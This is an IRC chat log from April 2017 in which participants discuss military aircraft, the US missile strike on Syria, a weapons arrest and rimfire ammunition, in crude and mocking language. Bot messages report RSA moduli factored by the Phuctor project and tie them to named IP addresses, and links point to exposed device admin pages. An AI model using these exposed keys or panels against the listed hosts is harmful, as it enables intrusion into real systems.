20:12 asciilifeform i meant -- it may be an incredible feat of akmanship, or a snore, or a lucky shot (ww2-style), depending on distance, neh.
20:12 mircea_popescu except it was a distance the helicopter actually flew at.
20:12 asciilifeform (and on which chopper)
20:13 asciilifeform ( the sov chopper used in afghan war, famously , was immune to small arms fire ~except~ for window )
20:14 asciilifeform american chopper in vietnam -- entirely transparent, like paper
20:16 mircea_popescu apparently two man craft so nothing too heavy
20:16 asciilifeform https://94.85.167.67/smartdomuspad/modules/system/externalframe.php << what are these -- i've nfi
20:20 mircea_popescu tons of them, google'd even. https://94.95.217.53/smartdomuspad/modules/system/viewmessages.php?op=manage&id=
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20:35 mircea_popescu "black woman and former Mary Kay sales professional Ella Jones" ahaha
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21:00 asciilifeform waiwat where
21:00 mircea_popescu qntra
21:04 asciilifeform aah found
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21:31 phf http://btcbase.org/log/2017-04-06#1639429 << http://www.netlore.ru/upload/files/45440/piston_idrisov.jpg
21:31 a111 Logged on 2017-04-06 22:25 ben_vulpes: for my subros: http://68.media.tumblr.com/19b8e0d81c0a3baa31395cdf09f11326/tumblr_oh8zmoG4nG1r9640po1_1280.jpg
21:32 mircea_popescu kek wtf is with the trying so hard
21:44 mircea_popescu !!rate skydragon 1 seems hardworking enough.
21:44 deedbot Get your OTP: http://p.bvulpes.com/pastes/Bpoix/?raw=true
21:45 mircea_popescu !!v 542F8B4F2D22F9C3744F50E79C0E158AC581AFAFA99C1104D0D79133F9A29744
21:45 deedbot mircea_popescu rated skydragon 1 << seems hardworking enough.
21:50 shinohai dem tats\
22:00 deedbot http://phuctor.nosuchlabs.com/gpgkey/8C5D44A327B3D659D6AA6218C0999439639080DB27772A7D2086B50A76388C9A << Recent Phuctorings. - Phuctored: 1778...5487 divides RSA Moduli belonging to '209.173.135.172 (ssh-rsa key from 209.173.135.172 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (172.135.173.209.customers.safeschools.com. US OH)
22:00 deedbot http://phuctor.nosuchlabs.com/gpgkey/8C5D44A327B3D659D6AA6218C0999439639080DB27772A7D2086B50A76388C9A << Recent Phuctorings. - Phuctored: 1435...4107 divides RSA Moduli belonging to '209.173.135.172 (ssh-rsa key from 209.173.135.172 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (172.135.173.209.customers.safeschools.com. US OH)
22:00 deedbot http://phuctor.nosuchlabs.com/gpgkey/5A06175686D55EF9C17BB4D0087DEBC752EA7F60C837DE1E687BAE0D3F8BE9D0 << Recent Phuctorings. - Phuctored: 1791...6123 divides RSA Moduli belonging to '62.17.1.200 (ssh-rsa key from 62.17.1.200 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown IE)
22:00 deedbot http://phuctor.nosuchlabs.com/gpgkey/5A06175686D55EF9C17BB4D0087DEBC752EA7F60C837DE1E687BAE0D3F8BE9D0 << Recent Phuctorings. - Phuctored: 1430...0689 divides RSA Moduli belonging to '62.17.1.200 (ssh-rsa key from 62.17.1.200 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown IE)
22:11 asciilifeform https://www.safeschools.com << lol!! ^ usg-sponsored greatfirewall shared by several school districts
22:12 asciilifeform and! and! :
22:12 asciilifeform 'Our award-winning suite of K-12 safety and compliance programs includes solutions for staff training,accident tracking, SDS management and bullying/incident reporting.'
22:12 asciilifeform didjaknow.
22:24 mircea_popescu lmao
22:24 mircea_popescu for the record, i was trying to watch a comedy. half hour in i'm like... feh, i wonder what trilema's up to
~ 40 minutes ~
23:05 BingoBoingo THE DOG HAS BEEN WAGGED
23:07 BingoBoingo Trump Shoves 60 cruise missiles into Syrian Airfield's Pussy
23:09 asciilifeform heilclitler
23:10 asciilifeform '"Assad choked out the lives of helpless men, women and children," President Donald Trump said in remarks from Mar-a-Lago, his family compound in Palm Beach, Florida. "It is in this vital national security interest of the United States to prevent and deter the spread and use of deadly chemical weapons," said Trump...'
23:11 BingoBoingo Not necessarily yet. Dog wagging has long tradition in US politics as way to beat the media up with itself. "Support our troops/missiles" gambit
23:11 trinque still very much open whether he says "alright, I did something" and leaves, or starts another Iraq
23:12 asciilifeform the count of 'leaves' to date, since 'the maine' incident, is 0.
23:12 BingoBoingo And recently russian has expressed "limits" to support of Assad. Perhaps A-10 and Su-25 regime change Syria in harmony to MWGA
23:13 BingoBoingo Not a likely outcome, but possibru
23:14 asciilifeform limits, aha. # of usg battleships sent to the bottom thus far : 0
23:15 BingoBoingo Well, 4 remaining US battleships all museums
23:15 asciilifeform tomahawk launchers, if you want.
23:17 BingoBoingo Bah, those are smaller ships and a couple converted ballistic missile submarines
23:17 asciilifeform meanwhile, https://archive.is/b7Ggr >> deathray treason! and plot! i know of no reason! why deathray treason, should ever be forgot !!1111
23:17 asciilifeform 'MIT Grad Nicolai Mork Arrested on Terrorism, Weapons of Mass Destruction Charges' -- 'An MIT graduate was arrested on charges of terrorism and possession of weapons of mass destruction...'
23:19 danielpbarron !!deed http://danielpbarron.com/obsd55-cd1.iso.tar.gz.txt.asc
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23:35 deedbot http://qntra.net/2017/04/the-dog-has-been-wagged-trump-fires-60-cruise-missiles-into-syrian-airfields-pussy/ << Qntra - The Dog Has Been Wagged: Trump Fires 60 Cruise Missiles Into Syrian Airfield's Pussy
23:35 BingoBoingo "“Unlike the previous administration, President Trump confronted a pivotal moment in Syria and took action,” said Sens. John McCain (R-AZ) and Lindsey Graham (R-SC)." << Apparently Trump satisfied the Lich's war boner.
23:36 BingoBoingo "Good night and God bless America and the entire world. Thank you." << On the otherhand could be hint of MWGA effort
23:42 mircea_popescu trinque well it'll be a little difficult to start another iraq seeing how the ru planes actually work.
23:42 mircea_popescu but anyway, there's dark silence from moscow ; seems altogether likely the chinese won this round.
23:42 asciilifeform unfortunately they only work if flown
23:43 mircea_popescu lol k.
23:45 BingoBoingo In other MWGA https://www.rt.com/news/383758-philippines-occupy-spratly-islands/
23:45 BingoBoingo ^ China can't win them all
23:45 mircea_popescu what's the w again ?
23:45 BingoBoingo World
23:45 mircea_popescu holy shit what ?
23:46 mircea_popescu ah lol. i thought for a moment they actually were going for the fortifications there.
23:46 BingoBoingo http://staging.snopes.com/app/uploads/2016/11/russian-billboard.jpg
23:46 phf hehe
23:47 mircea_popescu lel
23:48 mircea_popescu .22 caliber handgun ?!
23:48 asciilifeform mircea_popescu: apparently! mass destructor!
23:48 asciilifeform didjaknow!
23:48 asciilifeform perhaps fires gadolinum bullet.
23:48 asciilifeform or what was it.
23:48 phf i was just shooting that earlier today...
23:49 asciilifeform #1 -- funnily -- caliber in usa.
23:49 asciilifeform not because everyone is training for olympics. but because cheapo.
23:49 asciilifeform 1000 / ~fiddybux.
23:50 BingoBoingo Usually sold by the 500 round "brick"
23:50 phf i thought that's 9mm, but i guess that makes sense. fwiw cheapest round at the range
23:51 mircea_popescu why's the thing sold as "mit produces nutcase" anyway. 40 yo, what the fuck relation does college have
23:51 mircea_popescu lmao "one count of possession of a silencer" ? really ?
23:51 asciilifeform ( low enough pressure, also, that barrel can be made of shitalloy )
23:51 asciilifeform mircea_popescu: aha, this is considered a mega-crime in usa, ~same penalty as for being found with a crate of grenades, or aircraft autocannon. go figure.
23:52 mircea_popescu and wtf is anyone training for with that shit ? "how to be totally surprised by recoil and shoot your own hat" ?
23:52 BingoBoingo And rimfire so can be stamped out at trivial cost, while brass is unreloadable with civilian equipment
23:52 mircea_popescu brass is reloadable by hand what are you talking
23:52 asciilifeform whatchatalking about BingoBoingo -- brass is eminently reloadable
23:52 mircea_popescu lol
23:52 BingoBoingo "rimfire" is a pain
23:53 BingoBoingo centerfire fine, presses. People have automated setups at home
23:53 BingoBoingo HOLY SHIT IT CAN BE DONE. https://www.ammoland.com/2015/11/reloading-22lr-ammo/
23:54 mircea_popescu i might be a little slow on the uptake, but what is tomahawk supposed to do to airstrip ?
23:54 asciilifeform crater?
23:54 mircea_popescu uh.
23:54 asciilifeform same thing german bombs did to su airstrips in '41
23:55 mircea_popescu so spend 2mn to make a pothole costs 300 bucks to fix ?
23:55 BingoBoingo Well, duh
23:55 asciilifeform if empty -- yes
23:55 asciilifeform presumably this one had machines parked there
23:55 * asciilifeform wasn't there , did not see
23:55 mircea_popescu the idea is assad kept the planes on the tarmac ?
23:55 BingoBoingo Anyways, never though to consider before today that rimfire might be reloadable. The moar you know.
23:55 mircea_popescu and they were targetted with tomahawks ?
23:56 asciilifeform supposedly!
23:57 BingoBoingo Point of firing tomahawks is almsot never about what they do. It is about demonstrating that you go through the motions of doing things.
23:57 mircea_popescu asciilifeform oddly they didn't even shoot them down serbian style ?
23:58 BingoBoingo Perhaps Russia flipped syrian air defense off?
23:58 mircea_popescu you think ?
23:58 BingoBoingo Surely Putin must know of American dog wagging rituals.
23:59 mircea_popescu maga through waga ?
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